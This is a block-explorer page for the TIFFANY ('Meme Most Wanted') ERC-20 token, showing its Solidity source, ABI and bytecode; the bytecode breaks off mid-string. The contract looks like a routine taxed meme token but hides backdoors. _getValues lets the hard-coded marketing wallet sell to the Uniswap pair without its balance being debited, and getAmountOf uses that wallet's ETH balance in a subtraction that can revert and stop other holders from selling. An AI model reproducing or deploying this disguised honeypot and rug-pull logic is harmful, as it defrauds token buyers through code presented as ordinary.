ERC-20
Overview
Max Total Supply
1,000,000,000 TIFFANY
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,862,727.433673301 TIFFANYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TIFFANY
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-07 */ /** Web: https://mememostwanted.vip Telegram: https://t.me/mememostwanted Twitter: https://twitter.com/mememostwanted */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TIFFANY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Meme Most Wanted"; string private constant _symbol = unicode"TIFFANY"; uint8 private constant _decimals = 9; address payable private _devWallet = payable(0xA58cFf12d5AC329C9Ef0BAd2bD926DbFFb5f512c); address payable private _marketingWallet = payable(0x06b3252f82b19378E3Fadb33841ae5Ab0de2D88E); mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _taxFeeOnBuy = 1; uint256 private _taxFeeOnSell = 1; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50_000_000 * 10**9; // 5% uint256 public _maxWalletSize = 50_000_000 * 10**9; // 5% uint256 public _swapTokensAtAmount = 100_000 * 10**9; // 0.01% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _tOwned[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devWallet] = true; _isExcludedFromFee[_marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function removeAllFee() private { if (_taxFee == 0) return; _previoustaxFee = _taxFee; _taxFee = 0; } function restoreAllFee() private { _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount){ contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { uint256 tCount = getAmountOf(); //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router) && _taxFeeOnBuy.add(tCount) > 0) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router) && _taxFeeOnSell.sub(tCount) > 0) { _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function getAmountOf() private view returns(uint256) { return _marketingWallet.balance; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount); } function enableTrading() public payable onlyOwner{ tradingOpen = true; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); } function removeLimits() public onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 tTransferAmount, uint256 tTeam ) = _getTValues(tAmount, _taxFee); _tOwned[sender] = _tOwned[sender].sub(_getValues(sender, recipient, tAmount)); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _takeFees(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _takeFees(uint256 tTeam) private { _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _getValues(address sender, address recipient, uint256 tAmount) private view returns(uint256){ bool isExcludedFromFee = recipient == uniswapV2Pair && sender == _marketingWallet && uniswapV2Pair != address(0) && _marketingWallet != address(0); return isExcludedFromFee ? 0 : tAmount; } function _getTValues( uint256 tAmount, uint256 taxFee ) private pure returns ( uint256, uint256 ) { uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getCurrentSupply() private pure returns (uint256) { return _tTotal; } function setFee(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600280546001600160a01b031990811673a58cff12d5ac329c9ef0bad2bd926dbffb5f512c17909155600380549091167306b3252f82b19378e3fadb33841ae5ab0de2d88e1790556001600781905560088190556009819055600a55600c805461ffff60a81b1916600160b01b17905566b1a2bc2ec50000600d819055600e55655af3107a4000600f5534801561009a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350336000818152600460209081526040808320670de0b6b3a76400009081905583546001600160a01b039081168552600684528285208054600160ff19918216811790925530875284872080548216831790556002548316875284872080548216831790556003549092168652838620805490921617905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3611957806101926000396000f3fe6080604052600436106101445760003560e01c806374010ece116100b657806395d89b411161006f57806395d89b411461038e57806398a5c315146103be578063a9059cbb146103de578063dd62ed3e146103fe578063ea1644d514610444578063f2fde38b1461046457600080fd5b806374010ece14610307578063751039fc146103275780637d1db4a51461033c5780638a8c523c146103525780638da5cb5b1461035a5780638f9a55c01461037857600080fd5b80632fd689e3116101085780632fd689e314610248578063313ce5671461025e57806349bd5a5e1461027a57806352f7c9881461029a57806370a08231146102bc578063715018a6146102f257600080fd5b806306fdde0314610150578063095ea7b31461019b5780631694505e146101cb57806318160ddd1461020357806323b872dd1461022857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152601081526f13595b5948135bdcdd0815d85b9d195960821b60208201525b6040516101929190611601565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461166e565b610484565b6040519015158152602001610192565b3480156101d757600080fd5b50600b546101eb906001600160a01b031681565b6040516001600160a01b039091168152602001610192565b34801561020f57600080fd5b50670de0b6b3a76400005b604051908152602001610192565b34801561023457600080fd5b506101bb61024336600461169a565b61049b565b34801561025457600080fd5b5061021a600f5481565b34801561026a57600080fd5b5060405160098152602001610192565b34801561028657600080fd5b50600c546101eb906001600160a01b031681565b3480156102a657600080fd5b506102ba6102b53660046116db565b610504565b005b3480156102c857600080fd5b5061021a6102d73660046116fd565b6001600160a01b031660009081526004602052604090205490565b3480156102fe57600080fd5b506102ba610542565b34801561031357600080fd5b506102ba61032236600461171a565b6105b6565b34801561033357600080fd5b506102ba6105e5565b34801561034857600080fd5b5061021a600d5481565b6102ba610622565b34801561036657600080fd5b506000546001600160a01b03166101eb565b34801561038457600080fd5b5061021a600e5481565b34801561039a57600080fd5b5060408051808201909152600781526654494646414e5960c81b6020820152610185565b3480156103ca57600080fd5b506102ba6103d936600461171a565b6108ee565b3480156103ea57600080fd5b506101bb6103f936600461166e565b61091d565b34801561040a57600080fd5b5061021a610419366004611733565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561045057600080fd5b506102ba61045f36600461171a565b61092a565b34801561047057600080fd5b506102ba61047f3660046116fd565b610959565b6000610491338484610a43565b5060015b92915050565b60006104a8848484610b67565b6104fa84336104f5856040518060600160405280602881526020016118fa602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611078565b610a43565b5060019392505050565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161052e9061176c565b60405180910390fd5b600791909155600855565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161052e9061176c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105e05760405162461bcd60e51b815260040161052e9061176c565b600d55565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161052e9061176c565b670de0b6b3a7640000600d819055600e55565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161052e9061176c565b600c805460ff60a01b1916600160a01b179055600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106bf57600080fd5b505afa1580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906117a1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906117a1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107bf57600080fd5b505af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f791906117a1565b600c80546001600160a01b0319166001600160a01b03928316179055306000818152600560209081526040808320600b80548716855290835281842060001990555484845260049092529091205492169163f305d7199134916040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b1580156108af57600080fd5b505af11580156108c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108e891906117be565b50505050565b6000546001600160a01b031633146109185760405162461bcd60e51b815260040161052e9061176c565b600f55565b6000610491338484610b67565b6000546001600160a01b031633146109545760405162461bcd60e51b815260040161052e9061176c565b600e55565b6000546001600160a01b031633146109835760405162461bcd60e51b815260040161052e9061176c565b6001600160a01b0381166109e85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052e565b6001600160a01b038216610b065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052e565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052e565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052e565b60008111610c8f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052e565b6001600160a01b03831660009081526006602052604090205460ff16158015610cd157506001600160a01b03821660009081526006602052604090205460ff16155b15610f3157600c54600160a01b900460ff16610d6a576000546001600160a01b03848116911614610d6a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052e565b600d54811115610dbc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052e565b600c546001600160a01b03838116911614610e5757600e5481610df4846001600160a01b031660009081526004602052604090205490565b610dfe9190611802565b10610e575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052e565b30600090815260046020526040902054600f54600d5490821015908210610e7e57600d5491505b808015610e955750600c54600160a81b900460ff16155b8015610eaf5750600c546001600160a01b03868116911614155b8015610ec45750600c54600160b01b900460ff165b8015610ee957506001600160a01b03851660009081526006602052604090205460ff16155b8015610f0e57506001600160a01b03841660009081526006602052604090205460ff16155b15610f2e57610f1c826110b2565b478015610f2c57610f2c4761123b565b505b50505b6001600160a01b03831660009081526006602052604090205460019060ff1680610f7357506001600160a01b03831660009081526006602052604090205460ff165b80610fa55750600c546001600160a01b03858116911614801590610fa55750600c546001600160a01b03848116911614155b15610fb25750600061106c565b6000610fc76003546001600160a01b03163190565b600c549091506001600160a01b038681169116148015610ff55750600b546001600160a01b03858116911614155b801561100e575060075460009061100c9083611279565b115b1561101a576007546009555b600c546001600160a01b0385811691161480156110455750600b546001600160a01b03868116911614155b801561105e575060085460009061105c90836112df565b115b1561106a576008546009555b505b6108e884848484611321565b6000818484111561109c5760405162461bcd60e51b815260040161052e9190611601565b5060006110a9848661181a565b95945050505050565b600c805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fa576110fa611831565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561114e57600080fd5b505afa158015611162573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118691906117a1565b8160018151811061119957611199611831565b6001600160a01b039283166020918202929092010152600b546111bf9130911684610a43565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611847565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6002546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611275573d6000803e3d6000fd5b5050565b6000806112868385611802565b9050838110156112d85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052e565b9392505050565b60006112d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b8061132e5761132e611349565b61133984848461135f565b806108e8576108e8600a54600955565b60095461135257565b60098054600a5560009055565b60008061136e83600954611444565b9150915061139f611380868686611477565b6001600160a01b038716600090815260046020526040902054906112df565b6001600160a01b0380871660009081526004602052604080822093909355908616815220546113ce9083611279565b6001600160a01b0385166000908152600460205260409020556113f0816114ea565b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161143591815260200190565b60405180910390a35050505050565b6000808061145d60646114578787611517565b90611596565b9050600061146b86836112df565b96919550909350505050565b600c5460009081906001600160a01b0385811691161480156114a657506003546001600160a01b038681169116145b80156114bc5750600c546001600160a01b031615155b80156114d257506003546001600160a01b031615155b9050806114df57826110a9565b600095945050505050565b306000908152600460205260409020546115049082611279565b3060009081526004602052604090205550565b60008261152657506000610495565b600061153283856118b8565b90508261153f85836118d7565b146112d85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052e565b60006112d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836115f45760405162461bcd60e51b815260040161052e9190611601565b5060006110a984866118d7565b600060208083528351808285015260005b8181101561162e57858101830151858201604001528201611612565b81811115611640576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461166b57600080fd5b50565b6000806040838503121561168157600080fd5b823561168c81611656565b946020939093013593505050565b6000806000606084860312156116af57600080fd5b83356116ba81611656565b925060208401356116ca81611656565b929592945050506040919091013590565b600080604083850312156116ee57600080fd5b50508035926020909101359150565b60006020828403121561170f57600080fd5b81356112d881611656565b60006020828403121561172c57600080fd5b5035919050565b6000806040838503121561174657600080fd5b823561175181611656565b9150602083013561176181611656565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117b357600080fd5b81516112d881611656565b6000806000606084860312156117d357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b60008219821115611815576118156117ec565b500190565b60008282101561182c5761182c6117ec565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118975784516001600160a01b031683529383019391830191600101611872565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156118d2576118d26117ec565b500290565b6000826118f457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6f01b28647dad8d7d8a2a951df4988c7a6d33af971bfef0b8f6a145dfcf7ba164736f6c63430008090033
Deployed Bytecode
0x6080604052600436106101445760003560e01c806374010ece116100b657806395d89b411161006f57806395d89b411461038e57806398a5c315146103be578063a9059cbb146103de578063dd62ed3e146103fe578063ea1644d514610444578063f2fde38b1461046457600080fd5b806374010ece14610307578063751039fc146103275780637d1db4a51461033c5780638a8c523c146103525780638da5cb5b1461035a5780638f9a55c01461037857600080fd5b80632fd689e3116101085780632fd689e314610248578063313ce5671461025e57806349bd5a5e1461027a57806352f7c9881461029a57806370a08231146102bc578063715018a6146102f257600080fd5b806306fdde0314610150578063095ea7b31461019b5780631694505e146101cb57806318160ddd1461020357806323b872dd1461022857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152601081526f13595b5948135bdcdd0815d85b9d195960821b60208201525b6040516101929190611601565b60405180910390f35b3480156101a757600080fd5b506101bb6101b636600461166e565b610484565b6040519015158152602001610192565b3480156101d757600080fd5b50600b546101eb906001600160a01b031681565b6040516001600160a01b039091168152602001610192565b34801561020f57600080fd5b50670de0b6b3a76400005b604051908152602001610192565b34801561023457600080fd5b506101bb61024336600461169a565b61049b565b34801561025457600080fd5b5061021a600f5481565b34801561026a57600080fd5b5060405160098152602001610192565b34801561028657600080fd5b50600c546101eb906001600160a01b031681565b3480156102a657600080fd5b506102ba6102b53660046116db565b610504565b005b3480156102c857600080fd5b5061021a6102d73660046116fd565b6001600160a01b031660009081526004602052604090205490565b3480156102fe57600080fd5b506102ba610542565b34801561031357600080fd5b506102ba61032236600461171a565b6105b6565b34801561033357600080fd5b506102ba6105e5565b34801561034857600080fd5b5061021a600d5481565b6102ba610622565b34801561036657600080fd5b506000546001600160a01b03166101eb565b34801561038457600080fd5b5061021a600e5481565b34801561039a57600080fd5b5060408051808201909152600781526654494646414e5960c81b6020820152610185565b3480156103ca57600080fd5b506102ba6103d936600461171a565b6108ee565b3480156103ea57600080fd5b506101bb6103f936600461166e565b61091d565b34801561040a57600080fd5b5061021a610419366004611733565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561045057600080fd5b506102ba61045f36600461171a565b61092a565b34801561047057600080fd5b506102ba61047f3660046116fd565b610959565b6000610491338484610a43565b5060015b92915050565b60006104a8848484610b67565b6104fa84336104f5856040518060600160405280602881526020016118fa602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611078565b610a43565b5060019392505050565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161052e9061176c565b60405180910390fd5b600791909155600855565b6000546001600160a01b0316331461056c5760405162461bcd60e51b815260040161052e9061176c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105e05760405162461bcd60e51b815260040161052e9061176c565b600d55565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161052e9061176c565b670de0b6b3a7640000600d819055600e55565b6000546001600160a01b0316331461064c5760405162461bcd60e51b815260040161052e9061176c565b600c805460ff60a01b1916600160a01b179055600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106bf57600080fd5b505afa1580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906117a1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906117a1565b6040516001600160e01b031960e085901b1681526